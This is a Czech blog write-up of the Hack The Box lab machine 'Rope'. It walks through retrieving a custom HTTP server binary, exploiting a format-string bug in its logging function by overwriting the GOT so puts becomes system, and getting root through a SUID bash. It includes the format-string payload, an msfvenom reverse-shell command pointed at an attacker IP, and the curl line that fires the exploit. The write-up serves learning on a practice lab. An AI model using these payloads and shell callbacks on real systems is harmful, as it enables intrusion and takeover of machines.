tom@home.htb:~$

Blog o HTB

6 January 2021

Rope

Úvod a kontext

Rope je zajímavý tím, že user část stojí na skutečné aplikační chybě ve vlastním HTTP serveru, zatímco root část naopak na velmi triviální konfigurační chybě. Právě ten kontrast je na stroji nejpoučnější a dobře zapadá i do obecnějšího vzorce popsaného v článku Memory corruption a binary exploitation v praxi.

Důležité je také technicky správně pojmenovat první zranitelnost. Nešlo o klasický buffer overflow, ale o format string v logovací funkci, který šel po reverzní analýze převést na vykonání vlastního příkazu.

Počáteční průzkum

Vyhledání otevřených portů

Síťový scan byl velmi úsporný: SSH a nestandardní HTTP služba na portu 9999.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
9999/tcp open  http

Získání binárky vlastní služby

HTTP odpověď prozradila vlastní „simple http server“. Když služba používá vlastní binárku místo běžného Apache nebo nginxu, dává smysl pokusit se tu binárku získat a analyzovat.

curl -i http://10.10.10.148:9999/?remember-me=on
curl http://10.10.10.148:9999/%2fopt/www/httpserver -o httpserver
Server: simple http server

Percent-encoded cesta /%2fopt/www/httpserver vrátila samotný serverový binární soubor. To je klíčový mezikrok: bez něj by další exploitace byla výrazně pomalejší a méně spolehlivá.

Analýza zjištění

Reverzní analýza httpserver

V dekompilované funkci log_access() bylo vidět přímo nechráněné volání:

printf("%s:%d %d - ", pcVar3, (uint)uVar2, param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);

To je podstatný detail. param_3 obsahuje data ovlivnitelná z HTTP požadavku, takže printf(param_3) umožňuje formátovací sekvence jako %x a hlavně %n. Jinými slovy: útočník nedostává jen čtení paměti, ale i možnost zapsat zvolenou hodnotu na zvolenou adresu.

Lokální exploit proto nepoužíval ROP řetězec nad zásobníkem, ale přepsání položky v GOT. Cílem bylo převést pozdější volání puts(param_3 + 0x400) na system(param_3 + 0x400). Jakmile se to podaří, stačí do další části kontrolovaného bufferu vložit příkaz pro reverzní shell.

req = r'id /{}'.format(url_encode(
    '\xb0\xe3\xe3\xf7' + '\x10\x47\xe1\xf7' + ('%x' * 57) + '%n'
))

Získání přístupu

Zneužití format string chyby

Po nalezení vhodných adres v lokální kopii binárky šel exploit spustit přímo proti službě na portu 9999. Smysl použití msfvenom tady nebyl v „magickém exploitu“, ale jen v tom, že bylo potřeba rychle připravit spustitelný payload pro shell po přepsání cílové funkce. Praktickou roli tohoto typu payload generation rozebírám i v článku Metasploit: msfconsole a msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4000 -f py
curl -i -X "$(python exploit2.py)" http://10.10.10.148:9999

Výsledkem byl shell v kontextu procesu služby. Tím se uzavřela technicky náročnější část stroje: od zjištění vlastního serveru, přes získání binárky, až po reverzní analýzu a zneužití format string chyby.

Eskalace oprávnění

SUID bash

Oproti user části byla root eskalace až nepříjemně jednoduchá. Lokální enumerace ukázala bash se zapnutým SUID bitem:

find / -perm -4000 -type f 2>/dev/null
/bin/bash

V takové situaci stačí:

/bin/bash -p
cat /root/root.txt

Přepínač -p zachová efektivní UID procesu a vrátí root shell. Nejde o „trik“, ale o přímý důsledek toho, že interaktivní shell byl omylem označený jako SUID binárka. Tenhle typ chyby rozebírám i obecněji v článku SUID/GTFOBins a netypické binárky.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - exploit - enumeration - privesc - hackthebox - format-string